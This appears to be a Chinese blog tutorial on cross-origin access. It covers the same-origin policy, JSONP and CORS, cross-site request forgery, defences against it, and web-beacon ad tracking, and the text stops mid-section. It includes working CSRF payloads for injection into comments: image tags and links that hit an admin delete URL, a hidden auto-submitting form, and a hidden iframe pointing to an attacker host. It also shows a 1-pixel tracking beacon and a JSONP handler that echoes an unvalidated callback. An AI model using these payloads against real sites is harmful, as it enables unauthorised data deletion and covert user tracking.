共计 4937 个字符,预计需要花费 13 分钟才能阅读完成。
本人工作中偶尔会和浏览器打交道,也遇到过一些坑,在此分享一下网页跨域访问的相关场景和知识,希望对读者有帮助。本文来自于我的博客网站:www.51think.net
一、什么是跨域访问
凡是与主站地址的域名、端口、协议不一致的其他请求,都可以认为是跨域访问。例如某网站的主站地址是 https://www.abc.com, 但网页又 …(地址是 https://img.abc.com),这就是一种跨域访问。
二、浏览器的同源策略
所谓的同源策略是浏览器所遵循的一种安全约定。其限制了来自不同源的 document 或者脚本对当前的 document 读取或设置某些属性。具体限制如下:跨源网络访问:AJAX 请求。跨源 DOM 访问:DOM。跨源脚本 API 访问:iframe.contentWindow, window.parent, window.open 和 window.opener
如果没有这些限制,那我们就可以肆无忌惮的破坏其他网站的网页了。
三、如何进行跨域访问
跨域访问不是跨域攻击,业务上我们的确有跨域访问的需要。#### 1、通过标签的 src 或者 href 属性。例如 < script >、< img >、< iframe >、< link >,访问静态资源文件虽然是跨域,但不受同源策略限制,因为使用的是标签访问。src 属性访问的地址是一次性的 get 访问,且是主站主动设置,相对安全。
2、form 表单提交。
form 表单提交到其他域也是被允许的。因为 form 提交意味着跳转到新的站点,是一个有去无回的页面跳转,不存在对原站点的脚本操作。
3、jsonp 访问。
这一般是跨域访问的常用手段,jsonp 可以帮助我们从另一方站点获取数据,并作用于本地站点的页面。这是本地站点开发人员的主动行为。jsonp 跨域使用的是 script 标签的跨域功能,通过 src 属性访问第三方系统并获取返回数组作用于本地函数中。假设在 ablog.com 的页面中访问 bblog.com 的服务,可以在页面中写入如下代码,callback 参数定义是回调函数:
< script src=”http://bblog.com:8083/remote?callback=jsonhandle”></script>
<script type=”text/javascript”>
function jsonhandle(data){
alert(“age:” + data.age + “name:” + data.name);
}
</script>
bblog.com 的服务端代码如下,需要按照回调函数名 +(json 数据)的格式返回:
@GetMapping(“/remote”)
@ResponseBody
public String remote(HttpServletRequest request, Model model) {
String callback=request.getParameter(“callback”);
String jsonpStr = callback + “(” + “{\”age\” : 15,\”name\”: \”jack\”,}”+ “)”;
return jsonpStr;
}
4、cors 跨资源共享。
CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE 浏览器不能低于 IE10。
四、跨域攻击
跨域攻击可以理解为:诱导受害者访问非法网站,黑客利用受害者的会话信息模拟请求,以达到篡改数据的目的。由此看来,跨域攻击有几个先决条件:
1、要有页面入口,供受害者点击或者页面自动加载。
2、攻击请求可模拟,黑客对目标网站参数进行了深入的研究,从而进行模拟。
第一点的页面入口非常重要,如何在目标网站 (地址:http://ablog.com:8080) 植入攻击者的代码?假设目标网站有评论功能,攻击者可以将自己的代码输入到评论区,如果目标网站没有 XSS 防御,则会将攻击者的代码以 html 的方式显示在网页上,这也就完成了第一点,提供了攻击入口。例如攻击者可以在评论区输入以下内容:
<a href=”http://ablog.com:8080/admin/comments/delete?coid=39″ >java 速成,点我免费领取 </a>
或者如下内容:
<img src=”http://ablog.com:8080/admin/comments/delete?coid=39“></img>
以上两个标签都会请求当前服务器,从而进行删除操作。我们也发现到这两个请求都是 get 请求,如果服务端拒绝接受 get 请求,只接受 post 请求,是不是就没招了?毕竟标签里没法模拟 post 提交。但是攻击者可以模拟表单,代码如下:
<form action=”http://ablog.com:8080/admin/comments/delete” method=”post”>
<input type=”hidden” name=”coid” value=”39″ />
<input type=”submit” name=”button” value=”java 速成,点我免费领取 ” />
</form>
将这段代码输入到评论区并显示,依然可以诱导受害者点击,完成 post 请求。攻击者也可以将更复杂的逻辑封装在自己搭建的网站中,假设黑客网站地址是 http://bblog.com:8083,攻击者将参数传递给自己的服务器,实现跨域攻击,在目标网站 ablog.com 的评论区中留下如下代码:
<a href=”http://bblog.com:8083/admin/comments/delete?coid=39″ >java 速成,点我免费领取 </a>
在黑客网站 bblog.com 里模拟 post 请求到 ablog.com:
<form action=”http://ablog.com:8080/admin/comments/delete” method=”post”>
<input type=”hidden” name=”coid” value=”39″ />
<input type=”submit” name=”button” value=”java 速成,点我免费领取 ” />
</form>
由于受害者在 ablog.com 中的会话仍然保持,这个模拟请求会带上受害者的会话信息,进行删除操作,而对于服务器端来说是无感的。在 bblog.com 里模拟 post 请求到 ablog.com,为何没有被跨域拦截?上文有提到过,form 表单提交是没有跨域限制的,这为跨域攻击也提供了便利。
上述攻击方式还不算隐蔽,毕竟需要受害者点击触发按钮,还需要页面跳转,太 low。我们可以使用一个影藏的 iframe 完成攻击,使得攻击操作神不知鬼不觉。在网站 ablog.com 评论区中植入如下代码:
<iframe style=”display:none;” src=”http://bblog.com:8083/csrf?coid=41″></iframe>
form 模拟提交的部分依然放在 bblog.com 中,使用脚本自动执行。部分代码如下:
<script>
function dianwoSub() {
document.getElementById(“dianwoForm”).submit();
}
</script>
<body onload=”dianwoSub()”>
<div class=”container”>
<form action=”http://ablog.com:8080/admin/comments/delete” method=”post” id=”dianwoForm”>
<input type=”hidden” name=”coid” value=”${coid}” />
<input type=”submit” name=”button” value=” 点我 ” />
</form>
</div>
</body>
在 bblog.com 中如果使用 ajax 来模拟请求攻击 ablog.com 会被浏览器拦截,ajax 脚本如下:
function dianwoSub() {
$.ajax({
type: ‘post’,
url: ‘http://ablog.com:8080/admin/comments/delete’,
data: $(‘#dianwoForm’).serialize(),
async: false,
dataType: ‘json’,
success: function (result) {
alert(” delete ok”);
}
});
}
运行时,浏览器会报如下错误,即 ablog 和 blog 非同源,跨域访问被限制:
五、如何避免跨域攻击
1、网站系统一定要有 xss 防御。
用户的任何输入必须要经过后台的校验,如果出现非法字符一定要拦截,将代码植入入口堵死。
2、系统请求优先使用 post 提交。
get 提交会降低攻击门槛。
3、refer 来源判断。
网站系统在接受请求时,判断请求来源是否是可信任的,如果是非法的则需要拦截。
4、增加验证码校验。
在做增删改操作时,强行让用户再次与后台交互,这能很大程度上避免攻击,但是影响用户体验。
5、token 校验。
用户在访问某一网页时,后端生成一个随机加密字符串放到 session 中,用户再次请求时携带此 token,后端对比 token 是否正确,不正确则拦截请求。
六、网络信标
网络信标又名网络臭虫,通过植入第三方代码来收集访问者信息。例如在 ablog.com 网站中植入如下代码:
<img src=”http://bblog.com:8083/netflag” height=”1″ width=”1″ ></img>
大小仅为一个像素,用户很难发现。凡是打开植入此代码的网页,都会访问 bblog.com,bblog.com 后台能够收集到如下信息:
通过以上信息,我们可以给用户设置一个唯一标记,并写入到 cookie 中,例如 bloguser=user_127.0.0.11540367865328。后端同时将此标记以及对应信息保存到数据库中,这样可以跟踪某一特定用户的访问路径。假设一个集团公司的业务范围非常广,其信息化系统包含多个二级域名,比如注册页面是 login.blog.com, 充值页面是 deposit.xyz.com, 购物页面是 shopping.abc.com 等,这些域名的 cookie 是无法共享的,这时候可以采取网络信标的方式,在所有主页上均植入上述代码,通过第三方 cookie 的方式,将访问者信息全部串联起来。
网络信标的另外一种使用场景是广告推荐。百度的广告联盟就是很好的例子。我们在百度上搜索一些关键字之后,访问其他网站时(例如 CSDN)会发现,为何我刚刚搜索的关键字图片会在 CSDN 网页上显示?那 CSDN 很有可能放置了百度的脚本代码。用户在百度上进行搜索之后,百度将搜索关键字写入到用户的 cookie 信息中,CSDN 内置了百度的广告代码,这个代码会访问百度服务器,同时会带上百度之前设置的 cookie,百度后台根据关键字来响应相关图片或者文字链接,达到精准投放广告的效果。
现在我们来模拟一下百度广告联盟的效果。假设 bblog.com 就是百度系统,我们模拟一个搜索页面,并搜索关键字“手机”:
![](http://51think.net/upload/2018/11/253mn0n9e6ic4oesipd8gmqcqv.jpg)
bblog.com 的后端将手机写入到 cookie,key 为 sosuoPara:
setCookie(response,”sosuoPara”,sosuoPara,60*60);
bblog.com 的合作网站 ablog.com 内置了 bblog.com 广告代码:
<div class=”card mb-3″>
<div class=”card-header”>
广告页
</div>
<div class=”card-body”>
<iframe src=”http://bblog.com:8083/guanggao”></iframe>
</div>
</div>
这段广告代码的后端逻辑是取出 cookie 信息,得到搜索关键字,后端进行匹配处理,返回给前端广告。这时候我们看一下 ablog.com 的主页广告,见如下红框位置: